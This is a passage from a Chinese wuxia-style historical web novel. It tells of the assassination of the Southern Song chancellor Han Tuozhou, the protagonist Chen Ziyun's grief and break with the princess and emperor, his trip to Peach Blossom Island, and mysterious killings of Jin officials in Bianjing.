陈子云白天逛着汴京,晚上无趣了便找个防备松懈的金国贵人家里去扮演神鬼之流。 榨取一些胆小怯弱之人嘴中的消息,通过这些分析着边境两军交战的大概形势。 直到有一天,他从一个小官的口中得到,似乎那些本来住在皇宫别院的流氓头子都不见了踪影,连他们这些平时负责送饭的也被打发了回来。 那个地方,陈子云早就根据子虚的情报知道的,是金国临时安排那些投靠来的江湖人物的地方。 这些人出动了,能是什么事情。以他对于江湖人物的了解,这些人是不可能去支援前线的。 这些人虽然身手不差,但是对于最讲究纪律跟服从的军队,这些人就是坏规矩的典型。 就算这些人的单兵能力再强,也不可能让这些人进去坏了军队的规矩的,否则只能是坏了军队整体的战斗力。 那么这些人最好的用处就是作为尖刀,在夜间偷袭,扰乱对方的军阵。再或者就是化整为零,让这些去偷袭或者暗杀地方的将领。 陈子云突然一愣,难道是……韩侂胄? 一把捏住对方的喉管,对着他的眼睛就将移魂大法实战到了极致。 可惜这个人只是负责给那边保障后勤的,对于这些人的具体动向,全然不知。 陈子云随即赶往那处皇家别院,可惜那里已经是人去楼空,本来每天夜里都喧闹非常的厅室里,早就空无一人。 什么人需要这些江湖客全部出动,除了韩侂胄谁还能有这个待遇。 既然暂时无法证实这个消息,那陈子云只能直接启程,这件事请宁可猜错,绝不能耽搁。 韩侂胄,万万死不得。 …… 韩侂胄从临安出发,一路朝着西北而行。作为一个过了花甲的老年人,自然不能像年轻人那般在马背上颠簸。 坐在一辆不小的马车里,里面还有个端茶倒水的侍从陪伴着,他的马车位于整个队伍的中间偏上的位置。 最前头是一个负责指导方向的老汉,浑身黝黑,看不出真实年纪。 韩侂胄四周自然是离不开保驾护航的人物的,光光是护卫在马车周围的军士,也不下百人了。 这还没算上,这长长的队伍前后左右,负责维持秩序的官兵。 至于那些藏在暗处的,更是不会少的。 他韩家自己的死士也好,子虚的暗探也好,甚至连宋宁宗肯定也派了暗处的人在看着他。 就凭他韩侂胄三个字,如今在南宋的地位,就算是派再多的护卫来也是不为过的。 忽然间,本来正在给韩侂胄倒茶的侍者,身子有些不稳的向前倾了一下,滚烫的茶水差点就倒在了韩侂胄的身上。 “小心。” “无事,无事。” 韩侂胄抚了抚衣袖上沾染的热水,毫不在意的说道。 “老冯,你是怎么赶车的!” 青衣侍者朝着马车外喝问了一声。 “来活了!” 负责赶车的那位,年岁显然是不小了,传进马车来的声音显得沧桑。 青衣侍者皱了皱眉头,又看了一眼提在手里的茶壶,有些哀怨的道。 “老爷,这茶已经好了,可这活来了,小人可就不能陪着您喝茶了,还请您老自己动手。” “也好,也好。” 韩侂胄笑着从对方的手里接过了茶壶。 此时的队伍正走到一处密林道的中央,车队之所以停下来,也就是因为有一颗三人合抱的大树,不知道为何倒在了路中央。 此时向导正在调配人手,想将这颗不下千斤的巨树给移开来。 可毫无意外的,那些刚碰到巨树的人,就被隐藏在树后的人给偷袭了,随后车队的四面八方都是冲过来的人群。 “哪里来的这些人?看着其中一些步伐,还不是一般的人物,怕是有本事在身的。” 青衣侍者打量了四周一圈,随后对着驾车的老者说着。 “来了,杀了便是。” 老者的声音依旧平静,好似这些来势不善的人都不被他放在眼里似的。 “我说老冯,你这自信倒是好的。人来了,自然是要杀的,可是我倒是怪了,这些人明显是从北边过来的。 金国的蛮子加上一些混江湖的草莽,可我就是纳闷了,难道我们军阵在边境都是摆设,这些人,这么些人就这么大模大样的过来了?” 青年侍者咬牙切齿的说着。 “那你说是谁的问题?” 老冯斜着眼问道。 “我哪里知道,这些朝廷上的老爷的事情。” 青衣侍者道。 “那就是你的问题,人活世间,谁能少的了希望自己死的,何况是他。” 老冯一语破题。 不错啊,哪个地方没有争斗,哪里又不是江湖。韩侂胄作为一朝宰相,不知道跟朝廷中多少人产生过利益冲突。 而且,韩侂胄从来都不是那种一心为公的为臣标杆,恰恰相反,他是个为达目的不择手段的一代权臣。 有时候为了贯彻自己的意志,树立自己在南宋朝廷中的权威,不免要将别人踩在脚底下。 一个谁都不得罪的好好先生是当不了一个执掌朝政的宰相的,那样的人只能去当一个教书先生。 韩侂胄稳稳的给自己倒了一杯茶,先闻闻这茶汤的香味,再小小的茗一口,不差。 这一两难求的真正好茶,可不是有钱就能买到的东西。 为官一生,宰执朝堂二十载,他韩侂胄在这辈子,无论如何都值得了。 可要是能在这最后的时光里,为南宋收服北地的事业添上一些砖瓦,那自然是足够他含笑而终的。 “可惜了,子云不在,也不知道,他如今喝茶是不是还那般的猴急。” …… 等陈子云赶到了,看到的不过是一地的狼藉,到处的尸体横陈,鲜血遍地,偶尔有几个被开膛破肚的,已经是虫蚁加身。 陈子云打量了一番战场,散落的物资、牲畜到处都是,还有些胆子大的牛羊,还在附近的草丛里吃着。 来到那架明显有着韩家痕迹的马车旁,有些紧张的掀开被摧残的四零八落的布帘子。 “呼……” 里面空无一人,让陈子云起码能够想象,韩侂胄应该是被人给救走了,只要没死,就有希望。 然后,就是无边的怒火。 第三百零七章 韩侂胄之死 嘿,陈子云本来还是压着自己的性子,没有直接对着金国的重臣大开杀戒,想着,总是要让南宋的这些将相们知道为国的难处,好让中兴也来的合理一些。 而不是因为他这个外来户,肆意妄为,才给这本来应该命不长久的南宋强行续命才是。 可如今,金国尽然已经这么不要脸面的下手了,那他还端着做什么。 陈子云的怒火要是能化成现实,恐怕这会儿已经烧到了汴京城了。 死在这里的南宋兵士最少也有五六十,一些不明身份的尸首,想来就是金国过来的江湖客了。 至于那些个一眼就能看得出是暗子的,陈子云点了一下,起码有二十个子虚的下属死在了这里。 没时间,也没这个心思将他们安葬,陈子云循着蛛丝马迹,认定一个最有可能的方向,追了上去。 …… 韩侂胄如今被青衫侍者背在背上,他早就没力气再跑了,而背着他的青山侍者也到了山穷水尽的地步。 本来胸口就中了对方一箭,后背又被砍了一刀,如今他能这样坚持着将韩侂胄背出来,已经是靠着意志支撑了。 至于那位负责赶车的老冯,为了掩护他们二人,被几杆子大枪穿了胸口,还站立着挡下了对方的追兵片刻。 谁也没想到,这些从金国入境南宋的家伙,竟然身上还带着弩箭。这已经不是边境的那些军士是不是真眼瞎的问题了,明显是有人在内部支援他们啊。 这些弩箭可是南宋军中的配置,金国手中可是难有真么精良的装备的,他们用的还是弓箭为主。 对于这样的刺杀活动,弓箭显然是过于笨拙了一些。 “这些他妈的混蛋,军中不是说丢一架弩箭就要问斩的吗,这些哪里来的这些?” 青衣侍者一把折断了还在自己胸前插着的箭头,好在这箭上没有涂上毒药,要不然他哪里还有命在。 “呵呵,咳咳咳,倒是老夫连累你了。” 韩侂胄咳嗽着说道,他倒是没有受什么直接的伤势,只是这一路的颠簸,也够他这个花甲老人受的了。 “哎呦,韩相,您还是少说几句吧。跟您比起来,我跟老冯的命加在一起也不过是您的一个手指甲。 活着、死了,对我们这些无亲无故的人来说,实在是比这灰尘还轻的事情。可您不一样,您是一国宰相,那是一口唾沫就能淹死人的人物,您是无论如何都不能死在这里的。 起码在我死之前,您绝对不能死。” 青衫侍者说道。 “哈哈哈,老朽自然也是不想死的,可是这阎王爷找上门来了,哪里是我们想如何就能如何的。” 韩侂胄道。 “好歹您也是当朝宰相,难道还有人能为难您不成,就算是地府里的帝王来了,难道还能不给这人间的帝王一点面子,让您多在阳间待上几年?” “哈哈哈……” 韩侂胄倒是没想到,这位青衣侍者此时竟然有这般的幽默心态,不由得大笑。 可随即,他便笑不出来了,因为他被青衣侍者直接从背上扔了出去,等他从地上缓过神来,就发现,已经有三个人围着青衣侍者在打架了。 韩侂胄不懂这些江湖把式,自然看不出这三人与青衣侍者之间的高低,但是想着青衣侍者已经是带伤之身,怎么都是吃亏的,就不由得开始担心起来。 倒不是怕青衣侍者打输了,会连累自己。自从他下定决心,以身为饵,就早就将自己的生死放在了悬崖巅上,反正是要死的,至于是谁来取自己的项上人头,那就看个人的本事了。 只是这位年轻人如此护了自己一路,没必要陪着自己这个寻死之人浪费了他年轻的生命。 可惜,这人明显是不会听自己招呼的,他并不是韩家的死士,就是不知道是子云培养出来的,还是陛下那边派来的。 “韩大人,倒是好兴致。” 耳边的一句话,让韩侂胄汗毛直竖。 “阁下……” 韩侂胄半句话刚出口,只觉得脖子上被什么凉森森的物件给划了过去,接着就感觉自己呼吸困难,像是有什么东西堵住了喉咙似的。 韩侂胄下意识的用双手去触摸哪里,只觉得黏黏糊糊的,就在这瞬间,生命的奥妙让他眼前闪过无数的人生片段。 “子云呢,大宋啊,陛下……别了吧,我也……累了啊……” 在这位南宋宰相闭目之前,他似乎看到了那个突兀的出现在自己面前,抹了自己脖子的人物,好像被什么突然出现的东西给切成了若干块。 嘿,还管这些干嘛,死都要死了,真是一辈子的劳碌命啊。 “韩侂胄!” 就像是打雷一般的声响,就在他的耳边。 真是的,人都要死了,怎么老天还不给清净。 哦,是子云啊,那……真好。 陈子怡看着自己闭上了眼睛,双手捂着脖子,还露出古怪微笑的韩侂胄,一伸手就把那颗看着就心烦的脑袋给生生捏碎了。 “天主,噗……” 青衣侍者带着濒死的身躯跪在了陈子云的面前。 “哼,找个我看不到的地方待着,这辈子就别出现在我面前了。” 对于这位自己子虚天部直辖的十二天干之一,陈子云是强忍着没让对方给韩侂胄陪葬。 …… 当韩侂胄,这位目前在南宋的宣传中的为国为民的宰相,带着无比丰厚的劳军家当,却被金人暗杀在了宋国的境内。 这样的消息,不管是对于前方的将士还是对于后方的臣民,简直就是雷霆霹雳。 韩侂胄是谁,在他们的认识里那是主持了南宋二十年,将南宋打造成如今能打的金国抬不起的伟大宰相。 就是历数大宋有史以来的宰相,哪个能比得上这位的功劳。不说周公、伊尹,起码也能跟张良、萧何并列了吧。 而这位为南宋鞠躬尽瘁的好宰相,竟然就这么死在了自己的国家里,死在了去往边境劳军的路上。 这让那些期待着能见到这位对他们来说不比宋宁宗低多少的人物的那些士兵来说,是多么的不可置信,与不能接受。 金人,干你祖宗的。正面大战打不过,就出这些下三滥的招数,竟然派人暗杀替陛下来劳军的宰相,这要是不给他们这位好宰相报仇,不给南宋出口气,怎么对得起朝廷的厚爱。 哀兵必胜之势已成。 第三百零七章 翻脸无情 而对于朝廷来讲,但凡有点智慧的人都感觉得了这件事情的不简单,韩侂胄怎么可能是这么容易被刺杀的。 这位宰相身边又如何能少的了人,而当他们收到韩侂胄的护卫曾被南宋军中的军弩袭击,瞬间就满身的冷汗。 这是什么,这意味什么,军中竟然出现了通敌的奸细。 不管这个胆大包天的人物是谁,宋宁宗显然不会放过这个一整军容的机会。可千万别觉得,这些年宋宁宗跟韩侂胄苦心孤诣的练兵是件简单的事情。 如果不是防备着那些佣兵自重的家伙,辛弃疾的回朝,为何会那般的秘密,为何练个兵都要这么的小心翼翼。 宋宁宗挥起了斩向兵部的屠刀。 …… 韩夫人已经早早些年就故去了,如今韩家摆上了灵堂,韩侂胄一生也没有留下什么子嗣,至于那些所谓的宗族后辈要来尽孝的,也让陈子云打发了。 如今就陈子云跟一位跟了韩侂胄几十年的老管家守着灵堂,但凡是来给韩侂胄鞠躬的,他们都一一还礼。 但是那些连人死了都要来蹭关系的,他们直接就让人给叉出去了。到了这个时候,韩府也不用再对任何人维持着表面上的客气了,没必要了。 赵茵萝带着一身便服的宋宁宗来到了韩府门外,刚想踏进房门,就被看门人给拦下了。 “放肆。” 随行的内侍厉声喝道。 “反了天了,你们敢拦……” 宋宁宗抬抬手,让他瞬间将后半句吞进了公鸭般的嗓子里。 “公主,还有这位贵人,还请见谅。二爷吩咐,在丧期间,公主还是先别来韩府了。” 那看门倒是胆子大的,明知道赵茵萝的身份,竟然还敢拦下人来,而且这竟然是陈子云的吩咐,实在是有些怪异,不知为何,他会不让赵茵萝来祭拜韩侂胄。 “哼,好个子云,他竟然真敢拦你,难道连朕也要拦下。” 宋宁宗哼了一声,道。 那看门人本来就猜测了几分,这位威仪不输自己家老爷的人物,如今见他如此称呼,直接跪倒在地,扣头谢罪。 “哼,没眼色的东西。” 等宋宁宗跟赵茵萝进了门,那个收了气的内侍还不忘嘲讽一句。 …… “子云。” 赵茵萝轻声呼唤了一句。 陈子云抬头看了一眼,见宋宁宗也在,立刻就知道为何自己交代门房的事情,没有办妥了。 “老管家,门房办事不周,鞭挞二十。” “是,二爷。” 老管家朝着赵茵萝跟宋宁宗拱拱手就出去了,这在礼节上自然是失礼至极的表现,可此时非但宋宁宗跟赵茵萝没有丝毫的怪罪,就是那个看着嘴上不饶人的内侍也没说什么,反而是识相的跟着老管家一起退出了灵堂。 如今这个偌大的灵堂,就剩下陈子云跟赵茵萝父女了,当然韩侂胄如果也算一个的话,那就是四个吧。 “子云……” 赵茵萝又是一声呼唤,这声呼唤里似乎藏着万分的不舍与愧疚。 陈子云抬手制止了赵茵萝。 “既然你非要进来,那就上柱香吧。” 陈子云从一旁的香烛台上数出了六根香点燃,三根给了赵茵萝,剩下的三根给了宋宁宗。 “哎!” 宋宁宗不知为何喟叹了一声,率先上前给韩侂胄拜了三拜,并且亲自上香。 这对于一个君臣之间的礼仪来讲,自然是捷越了的,可在场的几人谁都觉得理所应当。 因为他们三人都知道,韩侂胄之所以慷慨赴死,为的就是他们赵宋的江山。 如今的南宋哪里还有足够数量物资,让韩侂胄带着去劳军,就他带走的那些,对于三十万大军来讲,简直连塞牙缝都不够。 可前线打了打胜仗,要是朝廷没有表示,那对于军心跟军威的动摇也是可想而知的。 如何能两全,韩侂胄跟他们父女两人商量了许久,都得不出一个完美的解决方案。 直到韩侂胄自己提出,他要带着韩家的资产劳军,顺便也带动一些朝臣主动捐赠一些,起码能让队伍看起来够分量,随后…… 随后自然是将金国引入局中来,让韩侂胄带着这些看着豪华的劳军之物,一起烟消云散。 到了那个时候,没有人会在意有没有人给与前线的将士赏赐,所有人都会因为这位南宋至高权利中心的人物被杀,被金国杀手暗杀而同仇敌忾。 不但能让前线的将士用命,甚至南宋也能利用这次机会,将里里外外的龌龊东西给系统的排毒一遍。 虽然不能指望,这一次就将南宋洗的多么干净,但是在这次不出意料的大胜之后,起码能给南宋几十年的好风光,足够宋宁宗跟赵茵萝捉紧机会,将即将陷入烂泥潭的南宋给慢慢拉出来。 “韩卿之于我大宋,比朕更胜三分。如今卿以故,朕必不负卿之托,当我大宋收复北地,朕比祭奠韩卿之灵。” 宋宁宗说的很是动情,赵茵萝也跟着上香。 可陈子云却仍旧不领情。 “上完香就走吧。” “子云,你节哀,韩卿是为国捐躯……” 宋宁宗还想说什么。 “走……” 陈子云直接喝道。 宋宁宗气得手指发抖,要不是赵茵萝在一旁立即捉住了他的手,必然是要斥责这个不知道尊卑的驸马爷的。 要知道天地君亲师,君主的地位可是排在至亲的前面的,陈子云这般的无礼,足够宋宁宗治他一个欺君之罪。 “子云,大伯他……是……是你跟我讲过的那些英雄,是真正的为国不惜身的豪杰,他……” “滚!” 陈子云直接朝着赵茵萝喝了一声。 “你!混蛋!” 宋宁宗再也忍不住了,直接也跟着大喝一声,他没法相信,这个驸马竟然敢这样对待自己的公主。 难道他真的不知道他自己是什么身份吗,说白了不过是一个赘婿而已。赵茵萝就是他应该顺从的对象,这历来哪里有驸马敢这般的对待公主的,实在是岂有此理。 “哼。” 陈子云直接冷哼一声,捏着的拳头将出未出。 赵茵萝直接闪身挡在宋宁宗的面前,可即使这样,宋宁宗也被这一声奇怪的哼声给难受的够呛。 “子云,不要。” 赵茵萝嘴角溢出了血丝,刚开口就能见到,对方牙齿上沾染的血渍。 第三百零八章 缘尽 “别在跟我讲什么国家大义,这个时候我最后悔的就是挨上了你们。韩侂胄死了,他身前够对得起你们赵家了,死后你们就让他安静些吧。 他这一支已经没后了,所谓的谥号也大可不必,既然没有后人乘凉了,这大树就让他安生的枯萎吧。” 陈子云看着那灵堂上静静的立着的排位。 一阵微风过,两根飘着的白布幡子缓缓的摇晃了几下,就像是在点头答应着陈子云似的。 “呼……呼……” 宋宁宗似乎也想到了这位韩卿比自己的子嗣还要不昌,连个后代都没留下,对于陈子云的愤怒之情也就稍微收敛了一些,只是大大的喘气了几次就平复下来了。 “子云,朕知道你心里不畅快,不跟你计较这些。但是逝者已矣,你还是要尽快振作起来。 如今的大宋,正是需要你跟茵萝相互扶持的时候,万万不能……” 迎接宋宁宗的的是一阵掌风,赵茵萝连忙出掌相抗。等宋宁宗回过神来,他已经被赵茵萝拉着出了韩府的大门。 “混账!” 宋宁宗在门口大喝一声。可当他看到赵茵萝口吐鲜血软到在地的时候,再也顾不得其他了,连忙让人将自己的宝贝女儿送进宫中。 如果不是赵茵萝死命的拦住宋宁宗,如今的韩府早就应该被重兵围城了。 “他算个什么东西,啊,他算什么,没有了韩侂胄,没有了韩家,他哪里还配的上你。” 宋宁宗差点就是要跳着脚骂街了。 “爹爹!” 赵茵萝连忙制止了宋宁宗的气话。 “茵萝,你别怕。如今韩侂胄已经死了,是,朕知道他是为国而死,可这不应该是他作为一个臣子的本分吗? 何况,他在位期间难道朕有亏待他的地方吗。自我南宋以来,哪有一个做了二十年宰相的人物。 要不是朕宽宏,他韩侂胄凭什么?” 宋宁宗喘着粗气,语气里有的是不甘。 “爹爹,别说了。” 赵茵萝眼中含泪的阻止着。 “不,茵萝,你不知道,朕才是皇帝,可朕有时候竟然还怕他韩侂胄,这个权臣,竟然敢要挟朕,摆布朕,你说,他该不该死……” 宋宁宗指着穹顶,声嘶力竭的说道。 “呜呜……” 赵茵萝知道,他跟陈子云完了,有宋宁宗在,他们再也不可能在一起了。因为就算她肯放下架子去向陈子云道歉,忏悔,可宋宁宗是不可能迁就一个臣子的,何况对方只是一个驸马。 可赵茵萝不知道的是,在安抚好她之后,宋宁宗独自来到了书房,对着空出呼喊了三次红衣,一声比一声坚决。 等赵茵萝将伤势稳住,再去韩府的时候,发现门前冷落,甚至连负责打扫的人都没有了。 当她看到府里满地的狼藉,意识到了不好,匆匆赶回公主府,小白叼着一份信件递给了她,神情凄楚,哀鸣着躲进了她的怀里。 “此生缘尽,各自东西。” “噗……” 赵茵萝本来刚好一些的伤势,立时反复。小白温柔的在胸口供着她,小舌头轻轻的舔舐,就像是在安慰着她。 “小白,我就剩下你了。” 池塘里的老黑不见了踪影,小黄自然也是跟着陈子云走了,如今这偌大的公主府,就她跟小白狐狸相依为命了。 …… 子虚依旧是南宋手中的王牌间谍网络,可是其中的组织结构却是变化很大。 本来作为至高的天部被彻底的取消了,地部接管了子虚的一切管理运作,黄部的指责被扩大,人员也是不断的增添,玄部被特殊化,除了地后几乎没有人再见过他们这些人。 而牛家村的陈府大宅,除了一直有人能负责维护之外,也没有了昔日的辉煌。格物书院倒是没什么变化,有那位老人家在,还不至于被别人插手进来。 至于牛家村其他村民,一开始只是好奇为何陈大善人突然不辞而别,但是久而久之,也就不再计较了。只是那些平时与陈府来往密切的人家,才会偶尔怀念起当时的美好情景。 至于说郭杨两家,赵茵萝倒是还保持的联系,尤其是陈子云收下的那两个徒弟,她还以师母的身份在教着。 也不知道是为了以此怀念陈子云,还是赵茵萝见到了两个小家伙的天赋才情,有了惜才的心思。 至于说牛在我,自从陈子云失踪后,这位陈府的大师兄也跟着不见了,当时牛在我的父母还好好的闹腾了一阵子,直到赵茵萝请老村长出面。 说是牛在我跟着陈子云区云游求学了,才让他们半信半疑的熄了继续闹腾的心思。 宋宁宗在韩侂胄死后的两年里,将朝廷的大权死死的拽在了自己手里,一时之间,南宋的集权到达了历史的最高峰。 而在两国的战场上,宋军基本上是占着巨大优势的,但是要说一口气灭了金国,这实在是不可能的事情。 因为南宋跟一般的国家不同,他们的军队没法做到就食于敌,因为他们打的是收复战,不可能将金国的子民当真正的敌人对待,那些也是宋朝留下的遗民。 所以当战线,一旦到了金国的境内,南宋的补给线就长的成了最大的累赘,加上本来国内的情况就已经有些捉襟见肘了。 所以当情况到了一定的时候,提出和谈的议程还是搬到了南宋的朝堂上。 …… 陈子云遣散了韩府的下人,给了他们足够安逸过后半生的银两。除了无论说什么都不愿意离开在韩府待了大半辈子的老管家之外,等陈子云离开的时候,韩府已经连个看门人都没剩下了。 韩侂胄生前虽然不是什么对下人苛刻的人,但也说不上什么受爱戴,这些人没了主子,自然也就做猢狲散了。 至于这些人以前有没有仗着韩府的势力,在外边招惹什么祸事,那也不是陈子云想管的,福祸自招,自己受着就是了。 本来陈子云走的时候,就想把老黑带上,因为它似乎除了对自己之外的其他人都不怎么热情。 第三百零九章 渡海 小黄跟小白,陈子云是想都留下陪赵茵萝,可那两个小家伙似乎真的能感应到他的情绪,说什么都要抱着他的小腿不放开。 无法,只好硬着将小白留下,相比于比较正经的小黄,小白更能逗赵茵萝开心,自己离开后,也不至于太孤单。 牛在我却是在半路上碰到了,当时陈子云也是很意外,他这次走的悄无声息,谁都没有惊动。 “先生,在我已经在此等候多时。” 陈子云突然觉得自己这个大弟子,绝不是看上去那么呆呆的。 这一天,陈子云端坐在老黑这头已经异化的大黑水牛的背上,横渡东海。 …… 这天,小黄蓉独自一人坐在桃花岛海滩上看着落日夕阳,两只小手捧着自己的脑袋,情绪明显不高。 因为她察觉到,自己那位向来都不被世事干扰的父亲,这几天格外的忧愁,甚至有些悲伤。 这样的情形,小黄蓉只有在自己爹爹祭拜那位没见过的妈妈的时候才看到过,可如今却因为另一个人这样了。 虽然那位只见过几次的老爷爷对小黄蓉很是喜爱,她也挺喜欢那位聪明的让自己爹爹也佩服的老人家的。 但是她还是没法体会到,父亲的那种伤悲。 夕阳即将落下,从明亮变得昏黄,整个大海都成了一个颜色,这样的景色小黄蓉不知道看过多少遍了,从来都不觉得新奇。 可今天的光影璀璨的海里,竟然出现了一点黑影,对方好像就是从那个只剩小半个的太阳里走出来似的。 黑影逐渐变大,最后成了一头大到离谱的黑水牛。 “老黑~” 小黄蓉惊喜的叫唤道。 “干爹,在我哥哥!” 小黄蓉再也没有心思多愁善感了,直接一个纵身就一头扎进海里。 陈子云见了如此活泼的小黄蓉,也是在这段时间里,第一次露出了微笑。 至于说小黄蓉这样鲁莽,会不会出什么状况,陈子云觉得自己要是纯粹跟对方比水性的话,还不一定比得过这位不过十来岁的小姑娘。 陈子云拍拍老黑的宽阔的脊背,让他放慢脚步,以免这个小家伙直接窜到老黑的腹下被牛蹄误伤。 没一会儿,一个湿漉漉的身影就直接蹿上了老黑的牛背,牛在我一把捉住了对方,以免小黄蓉站不稳。 “谢谢在我哥。” 小黄蓉咧着嘴,开心的道。 牛在我笑笑。 “蓉儿,快成大姑娘了,以后不能这么鲁莽了,你看你,全身都是湿的,像什么样子。” 陈子云点点对方的额头道。 “干爹,人家见到你高兴么,你还这么说人家,哼。” 小黄蓉不满的说道。 “哈哈哈,好,好,不说了。你爹爹呢,我都到家门口了,他怎么也不出接待客人。” 陈子云扯开了话题。 “爹爹,这些天都在辛爷爷的坟前喝酒。” 小黄蓉皱着眉头。 辛爷爷?那位也故去了吗? 陈子云心里一暗,可随即也想明白了,对方本来早就应该没了寿数的,不过是黄药师用法子强行拉着而已,这些年更是为了南宋军事耗费来如此心力…… “小蓉儿,带我也去祭拜一番吧。” …… “左手把青霓,右手挟明月。” 还没到地方,黄药师的朗声吟唱之词就已经传入了众人的耳朵。 “吾使丰隆前导,叫开阊阖。” 没想到黄药师吟诵到情深处,竟然不自觉的用上了内力。 “啊呀,爹爹又来了,干爹,蓉儿不过去了。” 小黄蓉双手捂着耳朵,一副难受的样子。 “嗯,在我,你也留下吧。” 陈子云点头吩咐了一声,虽然黄药师此时的吟唱不能跟他的碧海潮生曲相比,但也不是一般人能够对抗的。 “周游上下,径入寥天一。览玄圃,万斛泉,千丈石……” 等陈子云来到了那座新墓前,黄药师已经吟到了第三首。 “千古李将军,夺得胡儿马。李蔡为人在中下……” 陈子云本来也是佩服辛老的才情人品,如今在黄药师这般动情的吟诵之下,也不由得脱口而出。 “万一朝家举力田,舍我……其谁也。” 两人的声音在辛老的墓碑前相合,卷起的屡屡清风,就彷佛是墓中老人在为二人的朗诵鼓掌。 两人静静的立在墓前,谁都没有说话,像是一场晚来的送别。 …… “药师兄,陪我走一趟汴京可否?” 陈子云放下岛上哑仆人端上来的茶碗,对着黄药师说道。 “为韩侂胄报仇?” 黄药师喝着茶,不急不缓的问道。 “不算,韩侂胄自己求死,那些人不过是中了他的算计而已,要说死的冤枉的,是那些人才对。” 陈子云缓缓说道。 黄药师只是瞥了陈子云一眼,没有接话。 “不过是我心里不痛快而已,在我眼皮子底下杀人,总要给自己找回一点面子才好。” 陈子云又端起茶碗,撇干净上面的浮沫,缓缓吸了一口。 “既然如此,那又何必找上我,我可跟汴京城里的人没这么大的仇怨。” 黄药师还是不接茬。 “药师兄,你虽然远居海外,但是你既然把辛老的骸骨葬在了此处……” “哼,我只是不愿意这位的英灵被那些龌龊的人物玷污而已。” 陈子云没有再勉强黄药师,他此次登岛最主要的还是将老黑他们带过来,至于黄药师愿不愿意陪他走一趟,这倒是在其次的。 有黄药师在,那自然是可以让他在汴京肆无忌惮些,但是一个人去就胜在灵活。 就算碰到裘千仞那般的货色,只要自己不想跟对方缠斗,对方拿他也没办法。 当然如果是他跟黄药师一同出现,那按照裘千仞的为人,是根本不敢出现在他们面前的。 …… 在桃花岛上跟小黄蓉玩闹了几天,将自己悲怆的心情缓解了不少,在小黄蓉的依依不舍中,陈子云让老黑送他北上。 牛在我自然是想跟着陈子云一起去的,但是被直接拒绝了,陈子云毫不避讳的说出,以牛在我如今的功夫,能帮到他的地方实在是还少。 牛在我对付一般人自然是不在话下的,但是对于那随时都可能被集结的军队包围的场景,他还没有应付自如的能力。 要是其中在夹着一些功夫不差的武林人士,牛在我很容易反而成了陈子云的负担。 第三百一十章 杀心 “你也教了小蓉儿不少的功夫了,如今刚好药师兄有闲暇,还有这些师兄在,你不向他们请教一番,不是可惜了吗?” 陈子云意有所指的看向黄药师。 “哼,想学什么,自己跟灵风说就是了,桃花岛的人不欠人情。” 黄药师直接把锅甩给了自己的大徒弟,反正岛上弟子的功夫都是这位大师兄在教,多一个牛在我也不算什么。 至于说什么桃花岛的功夫不宜外传,只要是黄药师看顺眼的,从来都没有门户之见的说法。 而且,人家陈子云对自己的女儿有求必应,难道自己还能吝啬一些拳脚功夫,那岂不是说他黄某人不如陈子云? “在我先谢过黄岛主,不过在下本来就愚钝的很,先生传的功夫还没能学明白,不敢贪图岛主的绝学。” 牛在我竟然直接拒绝了黄药师的好意。 “哼。” 黄药师冷哼一声,显然是脾气上来了,但是他怎么也不会跟这个小辈一般见识,只是瞥了一眼陈子云,便拂袖而去。 “你呀!” 陈子云没好气的说了一句自己这个不开窍的大徒弟,看来他还是那个呆瓜摸样,上次的夸奖属实是自己想岔了。 “那就好好跟曲灵风他们过过招吧。” “是,先生。” …… 等陈子云再次来到汴京,明显的发现,此时的汴京比当时还要更慌乱一些。宋军在边境一步步紧逼,如今已经将边境线往北推进了近百里。 如此情形是金国朝臣们万万没想到的,甚至对于如此情况的始作俑着——金章宗也是大为不满。 要不是他私下里派人去刺杀了韩侂胄,让如今的南宋上下团结一心,以哀兵之势大大的打击了金军的前线。 弄得整个金国都人心浮动,似乎宋军第二天就会兵临城下似的。 据说,已经有一部分人,开始提出了主动议和的主张,不过是被压着,没有直接宣之于众,怕成为众矢之的而已。 其实金章宗也是后悔的要死,本以为奇将军那个刺杀计划,不管成功与否,都能给南宋造成些困扰。 哪里想到,韩侂胄是刺杀成功了,可奇将军也被永远的留在了那里。 可这不是关键,关键是他们曾经料想中的,南宋前线并没有因为一国宰相的死亡而士气大跌,反而被激发了哀兵之势,纷纷悍不畏死的朝金国腹地而来。 金章宗已经被吓得几天不敢上朝了,要不是被大臣们逼的,他真想躲起来,等这风头过去再出来。 可惜事不遂人愿,如今金国朝局动荡,要是他这个当朝的皇帝还做起了缩头乌龟,那金国就真的要完了。 战也好,和也好,都需要他这个皇帝配合才能实行。 这些天来,金国的民间也开始逐渐透露出,关于议和的相关消息了。 虽然官方都没有直接公布,但是这样的试探,是朝廷的惯用伎俩,只要民心不是太抵触,那么实行起来就不会有那么多的抵抗情绪了。 “诶,今天李爱卿怎么没上朝啊?” 金章宗发现自己的那个平时最会顺着自己意思来的大臣没有再朝列之中,就问道。 “禀陛下,值日的内官,确实没有见到李大人,已经派人去李大人家中问询了。” 内侍官赶紧汇报道。 “哼,上朝都不准时,怎么我金国的朝政已经到了这般地步了。朕还每天早早起来,静待着朝议大事,他一个小小的郎中,怎么敢如此懈怠,实在是……” 金章宗似乎越说越起劲。他一方面是在发泄着心中的不安,另一方面也是借机诋毁一下自己这边的人,好让朝臣明白他不是一个只知道顾及自己人的皇帝。 朝廷的议事,自然不可能因为这么个无足轻重的人物就耽搁下来,一个个的议题被抛出。 如今的金国,自然这些议题都是围绕着边境的那场越来越让人揪心的战事的。 兵源的调集,后勤物资的准备,接下来应对的策略,一桩桩一件件,都是能让这满朝君臣抓破脑袋的头疼事情。 不久,内侍官慌乱的从外面回来,似乎是有什么不得了的消息,正想着来到御座前向金章宗禀报。 可不知道怎么的,刚踏上御座前的台阶,就脚下一软,直接跪倒在了面前。 “如此慌张,成何体统。” 金章宗本来就憋得一肚子火,如何能有好脾气。 “死了,李大人死在家中了。” 那内侍官颤抖着将自己得到的消息当庭说了出来,也难怪他慌张,那位李大人作为金章宗的走狗,跟他们这些内侍官本来就亲近,如今莫名其妙的死了,自然也是给他们吓了一跳。 …… 从这天起,这个昔日的北宋都城,如今金国的汴京,就陷入了梦寐般的恐惧之中。 一个个当朝官员离奇的死在家中。 第一个李郎中,是莫名奇妙的死在了自己的书房里,本来正在准备上朝的奏折,结果小厮久等不到自己主人从书房里出来,推门进去才发现,对方竟然坐在书桌前死了。 第二位是一位从前线回来述职的武官,职位不高,但是一身军中武艺却是不俗,是军伍里一步步自己走上来的。这也是为何,他会在这个节骨眼上被金庭看中的原因。 可就是这么一位寻常江湖人都不能近身的武夫,突兀的死在了自己的床上,脸上没有任何的表情,安详的就像是睡着了一般。 